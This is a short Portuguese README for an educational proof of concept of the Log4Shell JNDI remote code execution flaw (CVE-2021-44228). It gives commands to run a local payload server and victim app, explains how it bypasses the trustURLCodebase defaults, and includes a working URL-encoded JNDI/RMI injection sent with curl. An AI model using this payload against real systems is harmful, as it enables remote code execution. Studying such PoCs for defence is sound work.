
Um proof-of-concept mínimo para a vulnerabilidade de RCE via JNDI no Log4j2 (CVE-2021-44228/Log4Shell).
Uma prova de conceito mínima para a vulnerabilidade de execução remota de código via JNDI do Log4j2 (CVE-2021-44228). Ela tem fins educacionais, para ajudar pessoas que não são pesquisadores de segurança a entender como a vulnerabilidade funciona e qual é a dimensão do seu impacto.
A POC elimina a necessidade de definir as propriedades com.sun.jndi.rmi.object.trustURLCodebase e com.sun.jndi.cosnaming.object.trustURLCodebase como true, que foram desativadas por padrão desde 8u121, 7u131, 6u141.
Observação: o JDK 1.8 é necessário para compilar o payload-server, mas o victim-app é vulnerável até o JDK 15, pois o mecanismo Nashorn foi removido no JDK 15.
payload-server executando:$ ./gradlew runPayloadServer
victim-app:$ ./gradlew runVictimApp
curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D para acionar a RCE.victim-app. Você deve ver um log não intencional impresso na tela.